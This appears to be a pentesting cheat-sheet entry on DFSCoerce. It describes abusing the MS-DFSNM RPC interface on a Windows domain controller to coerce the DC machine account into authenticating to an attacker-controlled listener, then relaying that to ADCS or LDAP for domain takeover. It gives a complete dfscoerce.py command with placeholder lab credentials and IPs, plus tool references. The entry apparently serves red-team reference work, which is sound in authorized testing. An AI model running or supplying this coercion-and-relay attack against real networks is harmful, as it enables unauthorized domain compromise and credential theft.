DFSCoerce

DFSCoerce abuses the MS-DFSNM (Distributed File System Namespace Management) RPC interface exposed on a Domain Controller (via the \PIPE\netdfs named pipe) to coerce the DC machine account into authenticating to an attacker-controlled host. Because the vulnerable interface lives on the DC itself, it is a reliable path to relay the DC$ authentication to ADCS or LDAP for a domain takeover. The listener is passed first, the target DC second, mirroring PetitPotam's argument order. A valid low-privileged domain account is normally required. Command Reference: Target DC IP: 10.10.10.1 Listener IP: 10.10.10.2 Domain: test.local Username: john Password: password123

python3 dfscoerce.py -u john -p password123 -d test.local 10.10.10.2 10.10.10.1

Native

Exploitation

Requires

Username, Password

Services

RPC, NTLM

Refs

github.com/Wh04m1001/DFSCoerce

www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-dfsnm